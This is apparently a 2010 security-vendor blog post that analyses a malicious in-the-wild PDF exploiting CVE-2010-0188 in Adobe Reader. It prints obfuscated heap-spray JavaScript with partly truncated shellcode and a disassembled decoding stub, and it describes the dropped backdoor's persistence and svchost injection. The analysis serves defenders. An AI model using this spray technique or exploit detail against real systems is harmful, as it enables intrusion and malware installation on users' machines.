by RSS Bin Liu  |  Mar 24, 2010  |  Filed in: Security Research

If you haven't yet installed the latest patch apsb10-07 for your Adobe Reader and Acrobat, you should hurry. The exploit is in the wild! In this post I will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc), indeed found in the wild, that leverages CVE-2010-0188 in order to install a backdoor in your Microsoft Windows system. Fortinet detected this sample as PDF/Adbtiff.A!exploit.CVE20100188. The test environment is Adobe Reader 9.3.0 in Microsoft Windows XP SP3.

The key for cybercriminals to exploit CVE-2010-0188 here is to embed a malicious TIFF image in the PDF document (figure 1.1):


The uncompressed and decoded Tiff image reveals the real attack vector (Figure 1.2): The count value in DotRange.


The vulnerable plugin AcroForm.api (version 9.0.148) use this count value without sufficient sanitization. While the target buffer is a two bytes field on the stack, a memcpy instruction (in purple below) copies the 100 DotRange values (200 bytes) there.


As a matter of course, this effectively smashes the stack and overwrites the return address with the value 0x0C0C0C0C.

It is time to have a look at the Javascript embed in this PDF. Following is part of the decompressed JavaScript stream: var ____ = unescape; var _c1 = "\x6c\x65\x6e\x67\x74\x68"; function _____(){var _='';for(var ___=0;<[c1];___+=4) _+='%'+'u'+.substr(___,4);return _;} function rep(_ , __) { var ___ = "" ; while ( --_>= 0) ___ += __ ; return ___;} var sc= ____ ( _____("9090909090909090EB905E1a5B56068a303c1674E0c04604268aE480020f88c443...[truncated])) function uuu(){ _ = rep(128, ____ (_____ ("42424242424242424242"))) + sc; _0 = ____ ( _____("0c0c0c0c")); _1 = 20 +_[c1]; while (_0[ _c1]<_1) _0+=_0; _2 = _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _1); _3 = _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _0[c1 ]-_1); while(_3[c1] + _1<0x80000) _3 = _3+ _3+_2; _4= new Array(); for(i=0;i<=192;i=i+1) _4[i] =_3 +_; } uuu();_

This rather nastily obfuscated JS code simply sprays the heap with an encoded shellcode and its matching decoding stub, so that the return value above (0x0C0C0C0C) leads to the stub execution, as shown below:

0C0C0C0C 0C 0C or al, 0C [...] 0C10FB26 90 nop 0C10FB27 EB 1A jmp short 0C10FB43 0C10FB29 5E pop esi 0C10FB2A 56 push esi 0C10FB2B 5B pop ebx 0C10FB2C 8A06 mov al, byte ptr ds:[esi] 0C10FB2E 3C 30 cmp al, 30 0C10FB30 74 16 je short 0C10FB48; jump to decoded shellcode 0C10FB32 C0E0 04 shl al, 4 0C10FB35 46 inc esi 0C10FB36 8A26 mov ah, byte ptr ds:[esi] 0C10FB38 80E4 0F and ah, 0F 0C10FB3B 02C4 add al, ah 0C10FB3D 8803 mov byte ptr ds:[ebx], al 0C10FB3F 43 inc ebx 0C10FB40 46 inc esi 0C10FB41 ^ EB E9 jmp short 0C10FB2C 0C10FB43 E8 E1FFFFFF call 0C10FB29; Decoding following shellcode [...]

Then, the hand is passed to the decoded shellcode, which starts... a decoding loop. This one decrypts a file (simple xor encryption, see figure below) before effectively dropping it as "C:\a.exe" and starting it. The content of a.exe is also stored in the PDF file.

Figure 1.4 shows the code do the decoding, drop and run the "C:\a.exe" (MD5: 779211676c099f81739e4320cbdce983).


Fortinet detects "a.exe" as W32/Emogen.DHLY!tr.dldr.

By the way, the shellcode use a very simple logic to find the PDF file handle (necessary for droping a.exe, which sits encrypted in the PDF file): It considers it is the first file opened in this process and have a size larger than 1000h. This logic may make mistake and lead to a crash.

Finally, "a.exe" does the followingl: 1. Move itself to "C:\Documents and Settings\Current User\Local Settings" and add an entry in the registry under key "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" for running upon reboot. 2.Prepare memory for code injection 3.Start svchost.exe and inject code in the created process

The poisonned "svchost.exe" in turns connect to a fixed IP and receive/execute commands, like a good old backdoor.

It must be noted, however, that this exploit will fail if you disable Javascript or enabling hardware-enforced DEP. Yet, a researcher named "villy" recently released in his Blog post a proof of concept version (that just launches windows calculator...) that bypasses such protections -- Disabling JavaScript and hardware-enforced DEP would not protect you from an attack using a similar strategy.

by RSS Bin Liu  |  Mar 24, 2010  |  Filed in: Security Research

comments powered by Disqus